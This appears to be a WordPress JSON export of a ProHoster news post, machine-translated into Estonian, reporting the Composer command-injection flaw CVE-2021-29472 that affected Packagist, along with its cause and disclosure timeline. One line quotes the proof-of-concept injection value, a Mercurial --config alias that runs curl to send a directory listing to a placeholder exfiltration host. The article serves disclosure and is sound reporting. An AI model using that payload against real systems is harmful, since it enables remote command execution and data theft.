{"id":100078,"date":"2021-05-03T10:22:39","date_gmt":"2021-05-03T08:22:39","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist"},"modified":"2021-05-03T10:22:39","modified_gmt":"2021-05-03T08:22:39","slug":"uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","status":"publish","type":"post","link":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","title":{"rendered":"Haavatavus paketihalduris Composer, mis v\u00f5imaldab PHP-repositoore Packagist kompromiteerida","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Composer'i s\u00f5ltuvuste halduris avastati kriitiline haavatavus (CVE-2021-29472), mis v\u00f5imaldab teostada s\u00fcsteemis juhuslikke k\u00e4ske, kui t\u00f6\u00f6deldakse paketti, mille URL-i v\u00e4\u00e4rtus on spetsiaalselt kujundatud, et m\u00e4\u00e4rata allalaadimise alladress. Probleem ilmnes GitDriver, SvnDriver ja HgDriver komponentides, mida kasutatakse versioonihalduss\u00fcsteemide Git, Subversion ja Mercurial puhul. Haavatavus on k\u00f5rvaldatud Composer'i v\u00e4ljaannetes 1.10.22 ja 2.0.13. <\/p>\n

Eriti m\u00e4rgitakse, et probleem m\u00f5jutas peamiselt vaikimisi kasutatavat Composer'i paketirepositooriumi Packagist, kus on 306 tuhat paketti PHP arendajatele ja mis teenindab igakuiselt \u00fcle 1,4 miljardi allalaadimise. Eksperimendi k\u00e4igus n\u00e4idati, et kui probleemist oleks teavet olnud, oleksid r\u00fcndajad v\u00f5inud saada kontrolli Packagisti infrastruktuuri \u00fcle ja haarata kellelegi kuuluvate t\u00fc\u00fcbiandmed v\u00f5i suunata pakettide allalaadimist kolmandale serverile, korraldades pahatahtlike muudatustega pakettide saatmise tagasimineku protsessi s\u00f5ltuvuste installimisel. <\/p>\n

L\u00f5ppkasutajate oht on piiratud sellega, et composer.json sisu m\u00e4\u00e4rab tavaliselt kasutaja ise ning allikad edastatakse tavaliselt usaldusv\u00e4\u00e4rsetelt kolmandatelt repositooriumidelt. Peamine m\u00f5ju osutus Packagist.org repositooriumile ja Private Packagist teenusele, mis kutsub Composer'i, edastades kasutajatelt saadud andmeid. Kurjategijad said oma koodi Packagist'i serverites k\u00e4ivitada, laadides \u00fcles spetsiaalselt kujundatud paketi. <\/p>\n

Packagist'i meeskond k\u00f5rvaldas haavatavuse 12 tunni jooksul p\u00e4rast haavatavusest teatamist. Uurijad teavitasid Packagist'i arendajaid eraviisiliselt 22. aprillil ja sama p\u00e4eva jooksul probleem lahendati. Avalik v\u00e4rskendus Composer'ile, mis k\u00f5rvaldas haavatavuse, avaldati 27. aprillil ning detailid avalikustati 28. aprillil. Packagist'i serverite logide audit ei tuvastanud haavatavusega seotud kahtlast tegevust. <\/p>\n

Probleem tuleneb URL-i valideerimise koodi veast composer's juurfailis composer.json ja allalaadimise linkides. Viga on koodis olnud alates novembrist 2011. Packagistis kasutatakse koodi allalaadimise korraldamiseks spetsiaalseid kihtide s\u00fcsteeme, mis t\u00f6\u00f6tavad k\u00e4surea argumentide edastamisega, kasutades funktsiooni fromShellCommandline. N\u00e4iteks git'i jaoks kutsutakse esile k\u00e4sk git ls-remote \u2014heads $URL, kus URL on t\u00f6\u00f6deldud meetodi ProcessExecutor::escape($url) abil, mis j\u00e4tab potentsiaalselt ohtlikud konstruktsioonid, nagu $(…) v\u00f5i `…`, v\u00e4ljapoole. <\/p>\n

Probleemi olemus seisneb selles, et meetod ProcessExecutor::escape ei skyeninud j\u00e4rjestust «—«, mis v\u00f5imaldas URL-is m\u00e4\u00e4rata mis tahes t\u00e4iendava kutsumise parameetri. Selline skyenimine puudus GitDriver.php, SvnDriver.php ja HgDriver.php draiverites. R\u00fcnnakut GitDriver.php kaudu takistas see, et k\u00e4sk git ls-remote ei toetanud t\u00e4iendavate argumentide edastamist teed pidi. R\u00fcnnak HgDriver.php-le oli v\u00f5imalik, edastades parameetri «—config» utiliidile hq, mis v\u00f5imaldab igasuguste k\u00e4skude t\u00e4itmist seadistuse alias.identify manipuleerimise kaudu. N\u00e4iteks koodi allalaadimiseks ja t\u00e4itmiseks curl utiliidi k\u00e4ivitamise kaudu saaks m\u00e4\u00e4rata: —config=alias.identify=!curl http:\/\/exfiltration-host.tld —data \"$(ls -alh)\". <\/p>\n

Paigutades Packagist testpaketi sellise URL-iga, olid uurijad kindlad, et p\u00e4rast selle nende serverisse paigaldamist tuli HTTP-p\u00e4ring \u00fchest serverid<\/a> Packagist AWS-is, mis sisaldas failide loetelu praeguses kataloogis.
\n
Allikas: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100078","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Haavatavus Composer-i paketihalduris, mis v\u00f5imaldab PHP-repositooriumi Packagist kompromiteerimist | ProHoster","description":"Composer-i s\u00f5ltuvusjuhtimisprogrammis tuvastati kriitiline haavatavus (CVE-2021-29472), mis v\u00f5imaldab s\u00fcsteemis t\u00e4ita mis tahes k\u00e4ske, kui t\u00f6\u00f6deldakse paketti, millel on spetsiaalselt vormindatud URL-i v\u00e4\u00e4rtus.","canonical_url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"et_EE","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u043d\u043e\u043c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 Composer, \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e PHP-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f Packagist | ProHoster","og:description":"\u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c.","og:url":"https:\/\/prohoster.info\/et\/blog\/news\/uyazvimost-v-paketnom-menedzhere-composer-dopuskayushhaya-komprometacziyu-php-repozitoriya-packagist","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-05-03T08:22:39+00:00","article:modified_time":"2021-05-03T08:22:39+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100078","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-05-03 08:26:11","updated":"2026-02-09 16:50:51","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/comments?post=100078"}],"version-history":[{"count":1,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078\/revisions"}],"predecessor-version":[{"id":158822,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/posts\/100078\/revisions\/158822"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/media?parent=100078"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/categories?post=100078"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/et\/wp-json\/wp\/v2\/tags?post=100078"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}